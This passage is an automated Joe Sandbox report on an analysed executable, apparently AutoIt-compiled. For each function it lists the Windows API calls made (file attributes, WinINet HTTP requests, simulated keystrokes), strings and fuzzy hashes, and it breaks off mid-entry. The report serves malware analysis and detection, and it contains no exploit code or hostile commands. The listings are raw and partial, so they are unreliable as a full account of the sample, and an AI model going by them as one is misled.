Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Thread$AttachInput$Window$Process$CurrentForeground
String ID:
API String ID: 2156557900-0
Opcode ID: 4a0c5d6c31f70808330e343f6a99c6c406e8eb83e52c278b54b8c34a02d37666
Instruction ID: 1cd858f38db1048d390a6b31214511e66fb47e6e05cce2347c293c9eb5f479db
Opcode Fuzzy Hash: 4a0c5d6c31f70808330e343f6a99c6c406e8eb83e52c278b54b8c34a02d37666
Instruction Fuzzy Hash: DC318C72A04604BFDB11AF24DC88F6977F9FF49352F504145FB0A971A4DBB4DA809B20

Function 00B12FF3 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00B13007

Part of subcall function 00B12D38: RtlFreeHeap.NTDLL(00000000,00000000,?,00B1DB51,00BB1DC4,00000000,00BB1DC4,00000000,?,00B1DB78,00BB1DC4,00000007,00BB1DC4,?,00B1DF75,00BB1DC4), ref: 00B12D4E
Part of subcall function 00B12D38: GetLastError.KERNEL32(00BB1DC4,?,00B1DB51,00BB1DC4,00000000,00BB1DC4,00000000,?,00B1DB78,00BB1DC4,00000007,00BB1DC4,?,00B1DF75,00BB1DC4,00BB1DC4), ref: 00B12D60

_free.LIBCMT ref: 00B13013
_free.LIBCMT ref: 00B1301E
_free.LIBCMT ref: 00B13029
_free.LIBCMT ref: 00B13034
_free.LIBCMT ref: 00B1303F
_free.LIBCMT ref: 00B1304A
_free.LIBCMT ref: 00B13055
_free.LIBCMT ref: 00B13060
_free.LIBCMT ref: 00B1306E

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 6ca3c6b4cd78dd2973a4e3eb549f82e43367f63928f4a59aed3a2dd842ef7156
Instruction ID: ec3c1a174ef9ed7dd3ee1466bf64a3a62b39cebe996e09b881d6c34eb39ce6d9
Opcode Fuzzy Hash: 6ca3c6b4cd78dd2973a4e3eb549f82e43367f63928f4a59aed3a2dd842ef7156
Instruction Fuzzy Hash: 841142B6510108AFCB05EF94D942DDD3BE5EF09350BD145E5FA089B222DA32EBA19B90

Function 00AE2AB0 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 332comCOMMON

Download Yara Rule

APIs

mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 00AE2AF9
OleUninitialize.OLE32(?,00000000), ref: 00AE2B98
UnregisterHotKey.USER32(?), ref: 00AE2D7D
DestroyWindow.USER32(?), ref: 00B23A1B
FreeLibrary.KERNEL32(?), ref: 00B23A80
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00B23AAD

Strings

close all, xrefs: 00AE2AF4

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
String ID: close all
API String ID: 469580280-3243417748
Opcode ID: 363b7799ec531a06d9a45867edd2604acdfe04c69de79b81c10d8f335e92db06
Instruction ID: 85b4cf137526cac8293f77068c7c86c89b2bc7a75cc475c84fd0b5c0a0f057e9
Opcode Fuzzy Hash: 363b7799ec531a06d9a45867edd2604acdfe04c69de79b81c10d8f335e92db06
Instruction Fuzzy Hash: F2D156716012628FCB29EF15D989B69F7F4EF05B50F1042EDE94AAB261CB31AD52CF40

Function 00B58835 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 230COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00B589F2
SetCurrentDirectoryW.KERNEL32(?), ref: 00B58A06
GetFileAttributesW.KERNEL32(?), ref: 00B58A30
SetFileAttributesW.KERNEL32(?,00000000), ref: 00B58A4A
SetCurrentDirectoryW.KERNEL32(?), ref: 00B58A5C
SetCurrentDirectoryW.KERNEL32(?), ref: 00B58AA5
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 00B58AF5

Strings

*.*, xrefs: 00B58AAB

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: CurrentDirectory$AttributesFile
String ID: *.*
API String ID: 769691225-438819550
Opcode ID: f60be802e30b1208b6d8c11cfb7e8cbb38a56493507a9c7c575ffc571fafbf84
Instruction ID: 9b0d5afaf62b8c33b48383e60f1f96428cd38bd9613d079e8d8c8ac350b2c977
Opcode Fuzzy Hash: f60be802e30b1208b6d8c11cfb7e8cbb38a56493507a9c7c575ffc571fafbf84
Instruction Fuzzy Hash: 18819F729043459BCB24EF14C484BBAB3E8FF84311F5448DAF889EB251DF34D9498B92

Function 00AE7447 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 184windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,000000EB), ref: 00AE74D7

Part of subcall function 00AE7567: GetClientRect.USER32(?,?), ref: 00AE758D
Part of subcall function 00AE7567: GetWindowRect.USER32(?,?), ref: 00AE75CE
Part of subcall function 00AE7567: ScreenToClient.USER32(?,?), ref: 00AE75F6

GetDC.USER32 ref: 00B26083
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 00B26096
SelectObject.GDI32(00000000,00000000), ref: 00B260A4
SelectObject.GDI32(00000000,00000000), ref: 00B260B9
ReleaseDC.USER32(?,00000000), ref: 00B260C1
MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 00B26152

Strings

U, xrefs: 00B26021

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
String ID: U
API String ID: 4009187628-3372436214
Opcode ID: cd7a19654adf0f771abb0947387e2c8ccd541ce96c19715d36e1cca27d5cdd31
Instruction ID: b0a0ee504f7b21242512bfadd5e04fff799279cc7591fe62e675c72618c0c4e0
Opcode Fuzzy Hash: cd7a19654adf0f771abb0947387e2c8ccd541ce96c19715d36e1cca27d5cdd31
Instruction Fuzzy Hash: 1D71E030500255DFCF25DF64EC84AAA3BF1FF48321F1446A9ED596A2A6CB319C90EB50

Function 00B7955E Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 149windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00AE249F: GetWindowLongW.USER32(00000000,000000EB), ref: 00AE24B0

Part of subcall function 00AE19CD: GetCursorPos.USER32(?), ref: 00AE19E1
Part of subcall function 00AE19CD: ScreenToClient.USER32(00000000,?), ref: 00AE19FE
Part of subcall function 00AE19CD: GetAsyncKeyState.USER32(00000001), ref: 00AE1A23
Part of subcall function 00AE19CD: GetAsyncKeyState.USER32(00000002), ref: 00AE1A3D

ImageList_DragLeave.COMCTL32(00000000,00000000,00000001,?), ref: 00B795C7
ImageList_EndDrag.COMCTL32 ref: 00B795CD
ReleaseCapture.USER32 ref: 00B795D3
SetWindowTextW.USER32(?,00000000), ref: 00B7966E
SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 00B79681
DefDlgProcW.USER32(?,00000202,?,?,00000000,00000001,?), ref: 00B7975B

Strings

@GUI_DRAGFILE, xrefs: 00B796F6
@GUI_DROPID, xrefs: 00B796AD

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: AsyncDragImageList_StateWindow$CaptureClientCursorLeaveLongMessageProcReleaseScreenSendText
String ID: @GUI_DRAGFILE$@GUI_DROPID
API String ID: 1924731296-2107944366
Opcode ID: 5bb7ed27f7af1e909c5451aee5526b9461f339759b52f612b093d7c8475a7229
Instruction ID: 52b109648a331ad49aad42c81786b409201a305494afadd3ac4f5d0de926b1c3
Opcode Fuzzy Hash: 5bb7ed27f7af1e909c5451aee5526b9461f339759b52f612b093d7c8475a7229
Instruction Fuzzy Hash: 97516C71104340AFD714EF24CC9AFAA77E4FF84754F400A68F9AA972E1DBB19944CB52

Function 00B5CC98 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 94networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00B5CCB7
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00B5CCDF
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 00B5CD0F
GetLastError.KERNEL32 ref: 00B5CD67
SetEvent.KERNEL32(?), ref: 00B5CD7B
InternetCloseHandle.WININET(00000000), ref: 00B5CD86

Strings

, xrefs: 00B5CD00

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
String ID:
API String ID: 3113390036-3916222277
Opcode ID: ab9146013880b14bf930850fd010372d881863a40bb364be7939f26f4cc8eebd
Instruction ID: e5c52981f39bfaa5fc552e1c870d3aef820a00c5a551d417d0fb66d0d428604e
Opcode Fuzzy Hash: ab9146013880b14bf930850fd010372d881863a40bb364be7939f26f4cc8eebd
Instruction Fuzzy Hash: 0D318D71500308AFD721AF648C88BAB7FFDEF45781B1045AAF84AD3240DB30ED499B60

Function 00B4A215 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 74windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,00000000,?,00B255AE,?,?,Bad directive syntax error,00B7DCD0,00000000,00000010,?,?), ref: 00B4A236
LoadStringW.USER32(00000000,?,00B255AE,?), ref: 00B4A23D

Part of subcall function 00AEB329: _wcslen.LIBCMT ref: 00AEB333

MessageBoxW.USER32(00000000,00000001,00000001,00011010), ref: 00B4A301

Strings

Error: , xrefs: 00B4A2CF
%s (%d) : ==> %s.: %s %s, xrefs: 00B4A26B
Line %d (File "%s"):, xrefs: 00B4A2A7
Line %d:, xrefs: 00B4A28C
., xrefs: 00B4A2E7

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: HandleLoadMessageModuleString_wcslen
String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
API String ID: 858772685-4153970271
Opcode ID: de350a67d032ca9995f9f06066bfd03832045d7c0e0b698360b16ac92a28e850
Instruction ID: ddf3d13686802ea08a73cda3844377dccc799fed6f4219b3c47089b7c2132a27
Opcode Fuzzy Hash: de350a67d032ca9995f9f06066bfd03832045d7c0e0b698360b16ac92a28e850
Instruction Fuzzy Hash: AA21A83189425EEFCF01AF90CC4AEEE7BB9FF18700F004495F515660A2EB71A658EB11

Function 00B429EC Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 71windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 00B429F8
GetClassNameW.USER32(00000000,?,00000100), ref: 00B42A0D
SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 00B42A9A

Strings

smallicons, xrefs: 00B42A62
list, xrefs: 00B42A7C
SHELLDLL_DefView, xrefs: 00B42A19
largeicons, xrefs: 00B42A2E
details, xrefs: 00B42A48

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: ClassMessageNameParentSend
String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 1290815626-3381328864
Opcode ID: 950cb5e39ef22edf07193fd43f2047b6bfa233e5bf7f07d0eb8d3f3c32122d48
Instruction ID: cafeda3c07853132ad4d9da6e49e65831838fa3ee328a19a1d5e9927cf400088
Opcode Fuzzy Hash: 950cb5e39ef22edf07193fd43f2047b6bfa233e5bf7f07d0eb8d3f3c32122d48
Instruction Fuzzy Hash: 3D11A3B6648306B9FA2467209C07DA63BECDF16764BA001A2FA04E50E1FF61AD417514

Function 00AE7567 Relevance: 13.8, APIs: 9, Instructions: 291COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 00AE758D
GetWindowRect.USER32(?,?), ref: 00AE75CE
ScreenToClient.USER32(?,?), ref: 00AE75F6
GetClientRect.USER32(?,?), ref: 00AE773A
GetWindowRect.USER32(?,?), ref: 00AE775B

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Rect$Client$Window$Screen
String ID:
API String ID: 1296646539-0
Opcode ID: ed1c0c3703aeefb030ebdcc0ef0f1f0418c47d3491b2b28941ddc27e9a824850
Instruction ID: 4e91d8820dd4a2457d859ee3816aa730db5bef9b976145be4f866955de0d59ad
Opcode Fuzzy Hash: ed1c0c3703aeefb030ebdcc0ef0f1f0418c47d3491b2b28941ddc27e9a824850
Instruction Fuzzy Hash: 3AC16B7990465AEFDB10CFA9C980BEDBBF1FF18314F14841AE899E3250DB34A951DB60

Function 00B1D210 Relevance: 13.7, APIs: 9, Instructions: 209COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 00B1D237
_free.LIBCMT ref: 00B1D2A2
_free.LIBCMT ref: 00B1D2C8
_free.LIBCMT ref: 00B1D2F1
_free.LIBCMT ref: 00B1D329
_free.LIBCMT ref: 00B1D35A
_free.LIBCMT ref: 00B1D39B
SetEnvironmentVariableA.KERNEL32(00000000,00000000), ref: 00B1D41C
_free.LIBCMT ref: 00B1D435

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: _free$EnvironmentVariable___from_strstr_to_strchr
String ID:
API String ID: 1282221369-0
Opcode ID: 06e60326e7cf9713f2822e73cd590c0027eeedc45882e40276468a7c6645c2f5
Instruction ID: 7b118e95008dd1b3da9e5ef5522f5b6fa1696ac137a8857fe35f54a155d6037c
Opcode Fuzzy Hash: 06e60326e7cf9713f2822e73cd590c0027eeedc45882e40276468a7c6645c2f5
Instruction Fuzzy Hash: 0C6126B1A04315AFDB25AF78E8827EE7BE4DF01320FD406FDE914A7285DB7199808791

Function 00B75B72 Relevance: 13.7, APIs: 9, Instructions: 162windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00002001,00000000,00000000), ref: 00B75C24
ShowWindow.USER32(?,00000000), ref: 00B75C65
ShowWindow.USER32(?,00000005,?,00000000), ref: 00B75C6B
SetFocus.USER32(?,?,00000005,?,00000000), ref: 00B75C6F

Part of subcall function 00B779F2: DeleteObject.GDI32(00000000), ref: 00B77A1E

GetWindowLongW.USER32(?,000000F0), ref: 00B75CAB
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00B75CB8
InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 00B75CEB
SendMessageW.USER32(?,00001001,00000000,000000FE), ref: 00B75D25
SendMessageW.USER32(?,00001026,00000000,000000FE), ref: 00B75D34

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Window$MessageSend$LongShow$DeleteFocusInvalidateObjectRect
String ID:
API String ID: 3210457359-0
Opcode ID: 6b3d753db158313158ed84a6caa36f46e97684e13790427b533b46307b5c7cd3
Instruction ID: 491fc55a2b14b6f34b3816bfd082bca6f1cbba04b8e7b803914f3154934ee1df
Opcode Fuzzy Hash: 6b3d753db158313158ed84a6caa36f46e97684e13790427b533b46307b5c7cd3
Instruction Fuzzy Hash: BD516130640A08BFEF359F24CC49F983BE5EB04750F14C195B53DAA2E1CBB5A980DB81

Function 00AE13A6 Relevance: 13.7, APIs: 9, Instructions: 155windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,?,00000010,00000010,00000010), ref: 00B228D1
ExtractIconExW.SHELL32(?,?,00000000,00000000,00000001), ref: 00B228EA
LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 00B228FA
ExtractIconExW.SHELL32(?,?,?,00000000,00000001), ref: 00B22912
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 00B22933
DestroyIcon.USER32(00000000,?,00000010,00000010,00000010,?,?,?,?,?,00AE11F5,00000000,00000000,00000000,000000FF,00000000), ref: 00B22942
SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 00B2295F
DestroyIcon.USER32(00000000,?,00000010,00000010,00000010,?,?,?,?,?,00AE11F5,00000000,00000000,00000000,000000FF,00000000), ref: 00B2296E

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend
String ID:
API String ID: 1268354404-0
Opcode ID: 04379a8ca1881d3440bbb429a3b5c59d0798f1526da537c462d858c38edafa6b
Instruction ID: eb06c5773996dc57ddc75a8b7f752fa1782e16f2e2ab0982a8e1e16c033729c9
Opcode Fuzzy Hash: 04379a8ca1881d3440bbb429a3b5c59d0798f1526da537c462d858c38edafa6b
Instruction Fuzzy Hash: 38516870600259AFDB24CF26CC45BAA7BF5EF48750F104528F95ADB2E0DB70E990DB50

Function 00B5CB88 Relevance: 13.6, APIs: 9, Instructions: 95networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00B5CBC7
GetLastError.KERNEL32 ref: 00B5CBDA
SetEvent.KERNEL32(?), ref: 00B5CBEE

Part of subcall function 00B5CC98: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00B5CCB7
Part of subcall function 00B5CC98: GetLastError.KERNEL32 ref: 00B5CD67
Part of subcall function 00B5CC98: SetEvent.KERNEL32(?), ref: 00B5CD7B
Part of subcall function 00B5CC98: InternetCloseHandle.WININET(00000000), ref: 00B5CD86

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Internet$ErrorEventLast$CloseConnectHandleOpen
String ID:
API String ID: 337547030-0
Opcode ID: de6fccbd8eeef6ba6972fe6fcd71b9b5eed17a3a8da4c9e2e26d2bc2f6f701db
Instruction ID: d3541bd319e06de5d1b91be1e1137de435a5aeaa9257e694c07f54d44d74aacb
Opcode Fuzzy Hash: de6fccbd8eeef6ba6972fe6fcd71b9b5eed17a3a8da4c9e2e26d2bc2f6f701db
Instruction Fuzzy Hash: F2318971200705AFCB218F65CD84B6ABFFAFF04342B0045ADF85E87610CB30E859ABA0

Function 00B42EEF Relevance: 13.6, APIs: 9, Instructions: 60sleepkeyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00B44393: GetWindowThreadProcessId.USER32(?,00000000), ref: 00B443AD
Part of subcall function 00B44393: GetCurrentThreadId.KERNEL32 ref: 00B443B4
Part of subcall function 00B44393: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,00B42F00), ref: 00B443BB

MapVirtualKeyW.USER32(00000025,00000000), ref: 00B42F0A
PostMessageW.USER32(?,00000100,00000025,00000000), ref: 00B42F28
Sleep.KERNEL32(00000000,?,00000100,00000025,00000000), ref: 00B42F2C
MapVirtualKeyW.USER32(00000025,00000000), ref: 00B42F36
PostMessageW.USER32(?,00000100,00000027,00000000), ref: 00B42F4E
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000), ref: 00B42F52
MapVirtualKeyW.USER32(00000025,00000000), ref: 00B42F5C
PostMessageW.USER32(?,00000101,00000027,00000000), ref: 00B42F70
Sleep.KERNEL32(00000000,?,00000101,00000027,00000000,?,00000100,00000027,00000000), ref: 00B42F74

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
String ID:
API String ID: 2014098862-0
Opcode ID: 92f62d5b10c2665ec17b84bde10b129228d0a48493b1801085369a6e8186592d
Instruction ID: 0d2bba82ac20e0253076b941a985675a2ebbcb3ee0a5a157db5d714293210030
Opcode Fuzzy Hash: 92f62d5b10c2665ec17b84bde10b129228d0a48493b1801085369a6e8186592d
Instruction Fuzzy Hash: CB01D8307842107BFB106B689C8AF593FA9DF4DB61F500055F318AF1E0CDE16444DAA9

Function 00B42150 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON

Download Yara Rule

APIs

